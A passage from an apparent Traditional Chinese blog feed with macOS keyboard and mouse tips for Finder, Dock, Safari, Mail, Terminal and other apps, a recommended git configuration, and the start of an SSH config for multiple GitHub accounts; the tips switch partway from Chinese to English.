&lt;li>按 ⌘` 可在前景應用程式的視窗間循環切換。&lt;/li>
&lt;li>按 ⌃F4 可在目前桌面空間的所有應用程式視窗間循環切換。&lt;/li>
&lt;li>把視窗拖到螢幕頂部並向上推，可在 Mission Control 中選取該視窗。&lt;/li>
&lt;li>按 ⌥⌘W，或按住 &lt;code>Option&lt;/code> 點擊紅色關閉鍵，可關閉前景應用程式的所有視窗。&lt;/li>
&lt;li>按 ⌥⌘M，或按住 &lt;code>Option&lt;/code> 點擊黃色最小化鍵，可最小化前景應用程式的所有視窗。&lt;/li>
&lt;li>按住 &lt;code>Option&lt;/code> 點擊綠色縮放鍵可填滿螢幕，而不是進入全螢幕。&lt;/li>
&lt;li>在系統設定中配置熱角時，按住 &lt;code>Control&lt;/code>、&lt;code>Option&lt;/code>、&lt;code>Command&lt;/code> 或 &lt;code>Shift&lt;/code> 可讓角落只在按住這些按鍵時才會觸發。&lt;/li>
&lt;li>在觸控板上，用兩指輕點（不是點擊）Dock 上的應用程式圖示，可顯示該應用程式的所有視窗；也可在該圖示上使用 App Exposé 手勢。&lt;/li>
&lt;li>調整視窗大小時按住 &lt;code>Option&lt;/code> 可從中心縮放；按住 &lt;code>Shift&lt;/code> 可鎖定長寬比。&lt;/li>
&lt;li>雙擊視窗邊框可把該邊延伸填滿螢幕；按住 &lt;code>Option&lt;/code> 雙擊則可同時延伸兩側。&lt;/li>
&lt;li>在 Mission Control 中，對一組應用程式視窗向上捲動可展開到單一視窗；游標停在視窗上按空白鍵可放大。&lt;/li>
&lt;li>在 Mission Control 中，Option 點擊另一個桌面空間可切換到該空間並保持 Mission Control 開啟。&lt;/li>
&lt;li>在 Mission Control 中，拖曳視窗下方的應用程式圖示可將該應用程式的所有視窗移到另一個空間。&lt;/li>
&lt;li>在 Mission Control 的應用程式視窗模式下，按 &lt;code>Tab&lt;/code> 與 &lt;code>Shift-Tab&lt;/code> 可切換應用程式。&lt;/li>
&lt;li>視窗若在其他空間被最小化，按住 &lt;code>Command&lt;/code> 再解除最小化可讓它回到目前空間。&lt;/li>
&lt;li>按住 &lt;code>Option&lt;/code> 解除最小化視窗，可同時解除最小化該應用程式的所有視窗。&lt;/li>
&lt;li>若某應用在多個空間有視窗，重複點 Dock 圖示可在這些空間間切換。&lt;/li>
&lt;li>若啟用切換桌面空間的快捷鍵，按住快捷鍵並拖曳視窗可把視窗移到該空間。&lt;/li>
&lt;li>在幕前調度中，按住 &lt;code>Shift&lt;/code> 點擊視窗可將其加入目前舞台，而不是取代。&lt;/li>
&lt;/ul>
&lt;h4 id="功能鍵">功能鍵&lt;/h4>
&lt;ul>
&lt;li>調整音量或亮度時按住 &lt;code>Shift&lt;/code> 與 &lt;code>Option&lt;/code> 可做更細微的調整。&lt;/li>
&lt;li>調整亮度時按住 &lt;code>Option&lt;/code> 可快速開啟顯示器設定；調整音量時按住 &lt;code>Option&lt;/code> 可快速開啟聲音設定。&lt;/li>
&lt;li>調整音量時按住 &lt;code>Shift&lt;/code> 可預覽音量。&lt;/li>
&lt;li>連接外接螢幕時，調整亮度時按住 &lt;code>Control&lt;/code> 可調整非目前顯示器的亮度。&lt;/li>
&lt;li>按住 Mission Control 功能鍵不放，鬆開時會自動退出 Mission Control。&lt;/li>
&lt;/ul>
&lt;h4 id="選單列--通知中心">選單列 / 通知中心&lt;/h4>
&lt;ul>
&lt;li>按住 &lt;code>Option&lt;/code> 開啟 Wi-Fi 與藍牙選單可顯示更多選項。&lt;/li>
&lt;li>拖曳選單列圖示時按住 &lt;code>Command&lt;/code> 可改變位置。&lt;/li>
&lt;li>從控制中心拖曳圖示到選單列可新增選單列項目。&lt;/li>
&lt;li>Option 點擊選單列的日期時間可切換請勿打擾。&lt;/li>
&lt;li>右鍵點擊小工具可變更大小。&lt;/li>
&lt;li>在觸控板上，用兩指橫向滑過通知可將其移除。&lt;/li>
&lt;/ul>
&lt;h3 id="finder">Finder&lt;/h3>
&lt;ul>
&lt;li>複製檔案後按 ⌥⌘V 可移動檔案而非貼上副本。&lt;/li>
&lt;li>選取多個檔案時按 ⌃⌘N 可建立包含這些項目的新資料夾。&lt;/li>
&lt;li>按 &lt;code>Tab&lt;/code> 與 &lt;code>Shift-Tab&lt;/code> 可依字母順序瀏覽檔案，無視目前排序方式（僅限圖示與列表檢視）。&lt;/li>
&lt;li>按住 &lt;code>Option&lt;/code> 啟動 Quick Look 可直接進入全螢幕。&lt;/li>
&lt;li>以多個檔案開啟 Quick Look 後，按 ⌘⏎ 可顯示所有項目的格狀檢視，用方向鍵選取並按 Return 聚焦。&lt;/li>
&lt;li>在 Quick Look 中，右鍵點擊「Open with」可選擇不同的開啟應用程式。&lt;/li>
&lt;li>在欄位檢視中，按住 &lt;code>Option&lt;/code> 拖曳欄位寬度可同時調整所有欄位。&lt;/li>
&lt;li>在欄位檢視中，雙擊欄位分隔線可自動調整該欄寬度；按住 &lt;code>Option&lt;/code> 雙擊可自動調整所有欄位。&lt;/li>
&lt;li>在欄位檢視中，點擊資料夾底部的空白區可回到上一層資料夾。&lt;/li>
&lt;li>在欄位檢視中，當你位於深層目錄時，按 &lt;code>Shift-Tab&lt;/code> 與 &lt;code>Tab&lt;/code> 可在不丟失路徑的情況下切換父層目錄。&lt;/li>
&lt;li>拖曳檔案時按住 &lt;code>Option&lt;/code> 可建立副本，按住 &lt;code>Command&lt;/code> 與 &lt;code>Option&lt;/code> 則會建立捷徑。&lt;/li>
&lt;li>在列表檢視中，按 ⌘+ 與 ⌘- 可放大或縮小列高。&lt;/li>
&lt;li>在列表檢視中，按 ⌥↑ 與 ⌥↓ 可選取最上或最下的項目。&lt;/li>
&lt;li>在列表檢視中，按左右箭頭可折疊或展開目錄；選取檔案時按左鍵可回到父層目錄。&lt;/li>
&lt;li>按 ⌘I 可開啟目前檔案的檢查器；按 ⌥⌘I 則開啟會隨選取變化的浮動檢查器。&lt;/li>
&lt;li>按 ⌥⌘C 可複製目前選取檔案的完整路徑。&lt;/li>
&lt;li>按 ⇧⌘. 可切換顯示隱藏檔案。&lt;/li>
&lt;li>按 ⌥⌘⌫ 可立即刪除檔案而不送進垃圾桶。&lt;/li>
&lt;li>拖曳資料夾到另一個資料夾上時按住 &lt;code>Option&lt;/code> 可合併資料夾。&lt;/li>
&lt;li>複製新圖示後，開啟檢查器（⌘I），選取左上角資料夾圖示並按 ⌘V 可設定自訂圖示。&lt;/li>
&lt;li>將選取文字拖到 Finder 視窗，可快速建立文字剪貼並儲存（文字剪貼是無法編輯、且不需命名的文字檔）。&lt;/li>
&lt;li>按 ⌥⌘O 可開啟所選檔案並自動關閉 Finder 視窗。&lt;/li>
&lt;li>按 ⌥⇧⌘V 可貼上項目並保留檔案權限標記。&lt;/li>
&lt;li>在圖示檢視中拖曳圖示時按住 &lt;code>Command&lt;/code> 可對齊格線。&lt;/li>
&lt;li>在 Finder Dock 圖示上按住 &lt;code>Option&lt;/code> 右鍵並選擇 Relaunch 可重新啟動 Finder。&lt;/li>
&lt;li>拖曳資料夾到新分頁按鈕（需已有多個分頁）可在新分頁開啟該資料夾。&lt;/li>
&lt;li>按 ⌃⌘↑ 可在新視窗開啟父層資料夾。&lt;/li>
&lt;li>若工具列被隱藏（⌥⌘T），Finder 會在新視窗開啟資料夾。&lt;/li>
&lt;li>選取圖片後按 ⌘R 可順時針旋轉，按 ⌘L 可逆時針旋轉。&lt;/li>
&lt;/ul>
&lt;h3 id="dock">Dock&lt;/h3>
&lt;ul>
&lt;li>按 ⌥⌘D 可顯示或隱藏 Dock。&lt;/li>
&lt;li>按 ⌃F3 將鍵盤焦點移到 Dock，再用左右箭頭選取應用程式，或輸入應用程式前幾個字母，按 &lt;code>Enter&lt;/code> 開啟；按上箭頭可打開該應用程式的選單。&lt;/li>
&lt;li>按住 &lt;code>Control&lt;/code> 與 &lt;code>Shift&lt;/code> 在 Dock 上移動滑鼠可暫時開啟放大效果。&lt;/li>
&lt;li>拖曳 Dock 的縮放把手時按住 &lt;code>Shift&lt;/code> 可快速把 Dock 移到不同螢幕邊緣。&lt;/li>
&lt;li>調整 Dock 大小時按住 &lt;code>Option&lt;/code> 可用 16 點的倍數縮放。&lt;/li>
&lt;li>按住 &lt;code>Option&lt;/code> 與 &lt;code>Command&lt;/code> 點擊正在執行的 Dock 圖示，可隱藏其他應用程式。&lt;/li>
&lt;li>將檔案拖到 Dock 上的應用程式圖示可用指定應用程式開啟；若預設不支援該檔案類型，拖曳時按住 &lt;code>Option&lt;/code> 與 &lt;code>Command&lt;/code> 可強制開啟。&lt;/li>
&lt;li>Dock 圖示持續彈跳時，把游標移到圖示上可停止彈跳。&lt;/li>
&lt;li>右鍵點擊 Dock 圖示時按住 &lt;code>Control&lt;/code> 與 &lt;code>Command&lt;/code> 可只顯示預設系統選單項目。&lt;/li>
&lt;li>按住 &lt;code>Option&lt;/code> 與 &lt;code>Command&lt;/code> 點擊 Dock 中的資料夾可在新的 Finder 視窗開啟。&lt;/li>
&lt;li>在堆疊中開啟多個項目時，按住 &lt;code>Option&lt;/code> 點選可在背景開啟，堆疊不會關閉。&lt;/li>
&lt;li>開啟堆疊後，把游標移到項目上並按空白鍵可用 Quick Look 預覽。&lt;/li>
&lt;li>右鍵點擊 Launchpad 圖示可從行內選單開啟應用程式。&lt;/li>
&lt;li>在 Launchpad 中按住 &lt;code>Option&lt;/code> 可進入抖動模式，重新排列或刪除應用程式。&lt;/li>
&lt;li>要把 AirDrop 加到 Dock，請在 Finder 前往 &lt;code>/System/Library/CoreServices/Finder.app/Contents/Applications&lt;/code>，並把 AirDrop 圖示拖到 Dock。&lt;/li>
&lt;/ul>
&lt;h3 id="spotlight">Spotlight&lt;/h3>
&lt;ul>
&lt;li>按 ⌘B 可用目前的查詢搜尋網頁。&lt;/li>
&lt;li>按 ⌘C 可複製所選檔案的完整路徑，或複製目前計算結果。&lt;/li>
&lt;li>按 ⌘D 可用目前查詢開啟字典。&lt;/li>
&lt;li>按 ⌘L 可跳到結果中的字典區塊（若存在）。&lt;/li>
&lt;li>按 ⌘⏎ 或 ⌘R 可在 Finder 顯示所選檔案。&lt;/li>
&lt;li>使用 &lt;code>name:&lt;/code> 篩選只搜尋檔名。&lt;/li>
&lt;li>使用 &lt;code>kind:folder&lt;/code> 只搜尋資料夾名稱。&lt;/li>
&lt;li>按住 &lt;code>Command&lt;/code> 可顯示目前選取檔案的路徑。&lt;/li>
&lt;/ul>
&lt;h3 id="safari">Safari&lt;/h3>
&lt;ul>
&lt;li>分頁群組會以空間方式整理分頁；使用 ⌥⌘{↑,↓,←,→} 可在 2D 空間中瀏覽分頁。&lt;/li>
&lt;li>播放影片時，右鍵點擊網址列或分頁上的喇叭圖示可進入子母畫面（PiP）。&lt;/li>
&lt;li>關閉分頁時按住 &lt;code>Option&lt;/code> 可關閉其他分頁，僅保留目前分頁。&lt;/li>
&lt;li>點擊並按住返回鍵可查看近期瀏覽記錄；按住 &lt;code>Option&lt;/code> 可顯示 URL 而非標題。&lt;/li>
&lt;li>把選取文字拖到 Safari 的 Dock 圖示可快速搜尋網頁。&lt;/li>
&lt;li>按 ⇧⌘T 可重新開啟最近關閉的分頁或視窗。&lt;/li>
&lt;li>按住工具列的新分頁圖示可查看最近關閉的分頁。&lt;/li>
&lt;li>在網址列開頭按空白鍵可變更搜尋引擎並查看近期網頁搜尋。&lt;/li>
&lt;li>在 Spotlight 搜尋中加入 &lt;code>kind:bookmark&lt;/code> 可搜尋 Safari 書籤與瀏覽記錄。&lt;/li>
&lt;li>&lt;code>Shift&lt;/code> 點擊連結可加入閱讀列表。&lt;/li>
&lt;li>點擊並按住書籤列的書籤可編輯顯示標題。&lt;/li>
&lt;li>Option 點擊重新整理圖示或按 ⌥⌘R 可強制重新載入目前網頁。&lt;/li>
&lt;li>右鍵點擊網址列的閱讀器圖示，可讓目前網站的所有頁面自動開啟閱讀模式。&lt;/li>
&lt;li>執行網頁搜尋並在同一分頁開啟結果後，按 ⌥⌘S 可回到搜尋結果頁。&lt;/li>
&lt;li>按 ⇧⌘I 可建立包含目前頁面內容的新郵件。&lt;/li>
&lt;li>在 History &amp;gt; Clear History 上按住 &lt;code>Option&lt;/code> 可只清除瀏覽記錄並保留網站資料。&lt;/li>
&lt;li>游標停在連結上按 ⌃⌘D 可顯示連結的行內預覽。&lt;/li>
&lt;/ul>
&lt;h3 id="mail">Mail&lt;/h3>
&lt;ul>
&lt;li>在左側欄以 &lt;code>Command&lt;/code> 點擊多個信箱可同時檢視其郵件。&lt;/li>
&lt;li>回覆或轉寄前先選取訊息中的部分文字，可只在新訊息中包含該段落。&lt;/li>
&lt;li>將檔案拖到 Mail 的 Dock 圖示可建立新郵件並附上該檔案。&lt;/li>
&lt;li>按 ⌥⇧⌘N 可建立新分頁。&lt;/li>
&lt;li>在訊息結尾按空白鍵可前往下一封訊息；在訊息開頭按住 &lt;code>Shift&lt;/code> 再按空白鍵可回到上一封訊息。&lt;/li>
&lt;li>開始輸入寄件者、主旨或內文的前幾個字元可快速跳到該訊息。&lt;/li>
&lt;li>按 ⌥⌘↑ 與 ⌥⌘↓ 可跳到最上或最下的訊息。&lt;/li>
&lt;li>將重要郵件拖到 Finder 可保留額外備份。&lt;/li>
&lt;li>若郵件退信，可在退信上使用 &lt;code>Message &amp;gt; Send Again&lt;/code> 改寄到其他地址。&lt;/li>
&lt;li>拖曳郵件到資料夾時按住 Command 可同時加入多個資料夾。&lt;/li>
&lt;li>按 ⇧⌘C 可替郵件標記顏色。&lt;/li>
&lt;li>把郵件拖到 Notes 或 Reminders 可新增連結。&lt;/li>
&lt;li>回覆郵件時按 ⌘R 與 ⇧⌘R 可在回覆與回覆全部之間切換。&lt;/li>
&lt;li>按 ⌥⌫ 可刪除郵件且不會自動開啟下一封。&lt;/li>
&lt;li>&lt;code>Command&lt;/code> 點擊目前選取的郵件可取消選取。&lt;/li>
&lt;li>若郵件已被回覆，可點訊息列表中的回覆圖示在新視窗開啟回覆。&lt;/li>
&lt;li>建立新信箱時，在名稱中加入斜線可建立巢狀信箱。&lt;/li>
&lt;li>After performing a search, select a mailbox from the left sidebar to filter the search to that mailbox.&lt;/li>
&lt;li>Hold &lt;code>Shift&lt;/code> while launching Mail to reset the index.&lt;/li>
&lt;/ul>
&lt;h3 id="preview">Preview&lt;/h3>
&lt;ul>
&lt;li>Press ` to bring up a magnifier, and then press &lt;code>+&lt;/code> and &lt;code>-&lt;/code> to resize it.&lt;/li>
&lt;li>In a PDF document, re-order the pages in the document by re-ordering the pages in the sidebar.&lt;/li>
&lt;li>Merge two PDF documents by dragging pages from one document&amp;rsquo;s sidebar to the other document&amp;rsquo;s sidebar.&lt;/li>
&lt;li>In the save dialog for an image, hold &lt;code>Option&lt;/code> while opening the Format menu to access an extended list of formats.&lt;/li>
&lt;li>Hold &lt;code>Option&lt;/code> and the Space bar to activate the pan tool.&lt;/li>
&lt;li>Hold &lt;code>Option&lt;/code> while in text selection mode to switch to rectangular text selection.&lt;/li>
&lt;/ul>
&lt;h3 id="calendar">Calendar&lt;/h3>
&lt;ul>
&lt;li>Hold &lt;code>Shift&lt;/code> while dragging an event to set a more precise time instead of snapping to 15-minute intervals.&lt;/li>
&lt;li>Click and hold the &lt;code>Accept&lt;/code> button in a calendar invite to change which calendar the event is accepted to.&lt;/li>
&lt;li>Hold &lt;code>Option&lt;/code> while pressing the &lt;code>Accept&lt;/code> button in a calendar invite to accept all events.&lt;/li>
&lt;li>Hold &lt;code>Command&lt;/code> while clicking any calendar&amp;rsquo;s checkbox in the left sidebar to show or hide all calendars.&lt;/li>
&lt;li>Hold &lt;code>Command&lt;/code> and &lt;code>Option&lt;/code> while clicking a calendar&amp;rsquo;s checkbox to only show that calendar.&lt;/li>
&lt;li>Add &lt;code>kind:event&lt;/code> to Spotlight searches to search calendar events.&lt;/li>
&lt;li>Resize the mini-calendar in the bottom-left to preview more months.&lt;/li>
&lt;li>With an event selected, press ⌃⌥↑ and ⌃⌥↓ to adjust the time of the event. This also works with multiple events selected.&lt;/li>
&lt;li>In Week view, press ⌥⌘← and ⌥⌘→ to shift the view by a single day.&lt;/li>
&lt;/ul>
&lt;h3 id="messages">Messages&lt;/h3>
&lt;ul>
&lt;li>Press ⌘R to directly reply to the latest message in the conversation.
Press ⇧⌘R to reply to the latest thread in the conversation.&lt;/li>
&lt;li>Press ⌘T to bring up the tapback selector for the latest message. Use the 1-6 number keys to select a reaction.&lt;/li>
&lt;li>Press ⌘E to edit the latest sent message.&lt;/li>
&lt;li>Press ⌥↑ and ⌥↓ in the message input field to cycle through previously sent messages.&lt;/li>
&lt;li>Press ⌘1-9 to jump to a pinned conversation.&lt;/li>
&lt;li>Right-click on a message and select Show Times to view exact timestamps for each message.&lt;/li>
&lt;li>Right-click the Messages icon in the Dock to quickly view and jump to unread conversations.&lt;/li>
&lt;/ul>
&lt;h3 id="photos">Photos&lt;/h3>
&lt;ul>
&lt;li>Drag an item to the &amp;ldquo;My Albums&amp;rdquo; header section to quickly create an album with that item.&lt;/li>
&lt;li>After adding an item to an album, use ⌃⌘A to add other items to that same album.&lt;/li>
&lt;li>When editing an image, hold down the &lt;code>M&lt;/code> key to compare the modifications to the original.&lt;/li>
&lt;li>Hold &lt;code>Option&lt;/code> while launching Photos to choose a different photo library to open.&lt;/li>
&lt;li>Drag a photo from the Photos app into a Finder window to quickly export the photo, or into the Mail or Messages app to attach the photo.&lt;/li>
&lt;li>When editing an image, double-click an adjustment slider to reset it.&lt;/li>
&lt;li>When editing an image, hold &lt;code>Option&lt;/code> while holding the pointer over an adjustment slider to extend the adjustment range.&lt;/li>
&lt;li>Hold &lt;code>Option&lt;/code> while clicking the rotate button to reverse the rotation direction.&lt;/li>
&lt;li>Hold &lt;code>Shift&lt;/code> while cropping a photo to maintain the current aspect ratio, and hold &lt;code>Option&lt;/code> to crop from the center of the photo.&lt;/li>
&lt;/ul>
&lt;h3 id="textedit">TextEdit&lt;/h3>
&lt;ul>
&lt;li>In rich text mode, press &lt;code>Option-Tab&lt;/code> to insert an outlined list.&lt;/li>
&lt;li>Press &lt;code>Option-Escape&lt;/code> to autocomplete the current word.&lt;/li>
&lt;li>Press ⌃⌥⌘P in the find text field (⌘F) to access special search tokens.&lt;/li>
&lt;li>Hold &lt;code>Option&lt;/code> while selecting text to make vertical text selections.&lt;/li>
&lt;li>The select line dialog (⌘L) supports the following formats:
&lt;code>1-3&lt;/code> selects lines 1-3 in the document
&lt;code>+2&lt;/code> selects the 2nd line below the cursor
&lt;code>-2&lt;/code> selects the 2nd line above the cursor
&lt;code>+2-4&lt;/code> selects 3 lines, starting from 2 lines below the cursor
&lt;code>-2-4&lt;/code> selects 3 lines, starting from 2 lines above the cursor&lt;/li>
&lt;/ul>
&lt;h3 id="terminal">Terminal&lt;/h3>
&lt;ul>
&lt;li>Press ⇧⌘A to select the output from the previous command.&lt;/li>
&lt;li>Press ⌘L to clear the output from the previous command.&lt;/li>
&lt;li>Press ⌃⌘V to paste and format text that is properly escaped for the shell.&lt;/li>
&lt;li>Press ⌃T while a command is executing to view runtime statistics about the execution so far.&lt;/li>
&lt;li>Press ⌘{↑,↓} to select the previous/next commands. Then press ⇧⌘A to select the output of the currently selected command.&lt;/li>
&lt;li>Press ⇧⌘I to set a title for the current window and tab.&lt;/li>
&lt;li>Drag a file or folder into a Terminal window to insert its full path. Alternatively, copy a file or folder in Finder and paste it in Terminal to insert its path.&lt;/li>
&lt;/ul>
&lt;h3 id="calculator">Calculator&lt;/h3>
&lt;ul>
&lt;li>Press ⌘T to open a new window that keeps a running history of calculations.&lt;/li>
&lt;li>Press ⌘R to enable Reverse Polish notation (RPN) mode.&lt;/li>
&lt;li>Press &lt;code>p&lt;/code> to insert pi.&lt;/li>
&lt;li>Right-click the number display and select &amp;ldquo;Large Type&amp;rdquo; to view the current result in a large overlay window.&lt;/li>
&lt;li>Use the Convert menu to perform various unit conversions.&lt;/li>
&lt;li>In Programmer view (⌘3), click the individual binary bits to toggle between 0 and 1.&lt;/li>
&lt;/ul>
&lt;h3 id="quicktime-player">QuickTime Player&lt;/h3>
&lt;ul>
&lt;li>Grab a single frame from a video by pausing on the desired frame (using the Left and Right arrow keys to navigate individual frames) and pressing ⌘C.&lt;/li>
&lt;/ul>
&lt;h3 id="photo-booth">Photo Booth&lt;/h3>
&lt;ul>
&lt;li>Hold &lt;code>Option&lt;/code> while taking a picture to skip the countdown.&lt;/li>
&lt;li>Hold &lt;code>Shift&lt;/code> while taking a picture to disable the screen flash.&lt;/li>
&lt;li>When choosing one of the distortion effects (on the third page), click and drag the cursor on the image preview to change the effects origin.&lt;/li>
&lt;/ul></description></item><item><title>Git 核心開發者如何設定 Git</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250307-how-git-core-devs-configure-git/</link><pubDate>Fri, 07 Mar 2025 15:46:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250307-how-git-core-devs-configure-git/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.gitbutler.com/how-git-core-devs-configure-git/" target="_blank" rel="noopener">Git 核心開發者如何設定 Git&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># clearly makes git better&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>column&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ui &lt;span style="color:#f92672">=&lt;/span> auto
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>branch&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sort &lt;span style="color:#f92672">=&lt;/span> -committerdate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>tag&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sort &lt;span style="color:#f92672">=&lt;/span> version:refname
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>init&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> defaultBranch &lt;span style="color:#f92672">=&lt;/span> main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>diff&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> algorithm &lt;span style="color:#f92672">=&lt;/span> histogram
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> colorMoved &lt;span style="color:#f92672">=&lt;/span> plain
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> mnemonicPrefix &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> renames &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>push&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> default &lt;span style="color:#f92672">=&lt;/span> simple
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> autoSetupRemote &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> followTags &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>fetch&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> prune &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pruneTags &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> all &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># why the hell not?&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>help&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> autocorrect &lt;span style="color:#f92672">=&lt;/span> prompt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>commit&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> verbose &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>rerere&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> enabled &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> autoupdate &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>core&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> excludesfile &lt;span style="color:#f92672">=&lt;/span> ~/.gitignore
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>rebase&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> autoSquash &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> autoStash &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> updateRefs &lt;span style="color:#f92672">=&lt;/span> true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># a matter of taste (uncomment if you dare)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>core&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># fsmonitor = true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># untrackedCache = true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>merge&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># (just &amp;#39;diff3&amp;#39; if git version &amp;lt; 2.3)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># conflictstyle = zdiff3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>pull&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># rebase = true&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>設定多個 GitHub 帳號的 SSH 金鑰</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250211-configure-ssh-keys-for-multiple-github-accounts/</link><pubDate>Tue, 11 Feb 2025 15:06:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250211-configure-ssh-keys-for-multiple-github-accounts/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://stevenharman.net/configure-ssh-keys-for-multiple-github-accounts" target="_blank" rel="noopener">設定多個 GitHub 帳號的 SSH 金鑰&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="使用不同的-host-值">使用不同的 Host 值&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>Host github.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> HostName github.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> User git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> IdentityFile ~/.ssh/id_fry_ed25519
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host github-plnx
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> HostName github.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> User git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> IdentityFile ~/.ssh/id_fry_plnx_ed25519
